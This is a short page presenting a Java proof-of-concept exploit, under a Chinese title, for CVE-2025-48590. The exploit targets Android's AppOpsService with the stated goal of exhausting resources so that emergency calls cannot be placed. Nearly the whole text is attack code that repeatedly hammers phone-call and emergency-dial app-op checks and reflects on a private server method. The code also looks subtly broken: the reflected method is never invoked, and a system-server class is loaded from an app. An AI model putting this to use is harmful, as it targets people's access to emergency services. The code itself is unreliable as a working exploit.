CVE-2025-48590 Android AppOpsService资源耗尽导致紧急服务无法拨打

// CVE-2025-48590 PoC - Android AppOpsService Resource Exhaustion // This PoC demonstrates resource exhaustion in AppOpsService.verifyAndGetBypass // Target: Android devices with vulnerable AppOpsService implementation import android.app.AppOpsManager; import android.content.Context; import android.os.Process; import java.lang.reflect.Method; public class CVE_2025_48590_PoC { private static final int EXPLOIT_ITERATIONS = 10000; private static final int DELAY_MS = 1; public static void exploit(Context context) { System.out.println("[*] Starting CVE-2025-48590 exploitation..."); System.out.println("[*] Target: AppOpsService.verifyAndGetBypass"); System.out.println("[*] Method: Resource exhaustion via repeated AppOps operations"); AppOpsManager appOps = (AppOpsManager) context.getSystemService(Context.APP_OPS_SERVICE); try { // Get UID of current app int uid = Process.myUid(); String packageName = context.getPackageName(); // Repeatedly invoke AppOps operations to exhaust resources for (int i = 0; i < EXPLOIT_ITERATIONS; i++) { try { // Trigger verifyAndGetBypass through various AppOps calls appOps.checkOpNoThrow(AppOpsManager.OPSTR_PHONE_CALL, uid, packageName); appOps.checkOpNoThrow(AppOpsManager.OPSTR_EMERGENCY_DIAL, uid, packageName); // Use reflection to directly call verifyAndGetBypass Class<?> appOpsServiceClass = Class.forName("com.android.server.AppOpsService"); Method verifyMethod = appOpsServiceClass.getDeclaredMethod( "verifyAndGetBypass", android.os.Binder.class, int.class, String.class ); verifyMethod.setAccessible(true); if (i % 100 == 0) { System.out.println("[+] Iteration: " + i); } Thread.sleep(DELAY_MS); } catch (Exception e) { // Expected during exploitation } } System.out.println("[+] Exploitation complete - Emergency services may be blocked"); } catch (Exception e) { System.out.println("[-] Error during exploitation: " + e.getMessage()); e.printStackTrace(); } } } // Note: This PoC requires android.permission.QUERY_APP_OPS_STATS permission // The actual exploitation may vary based on Android version and device configuration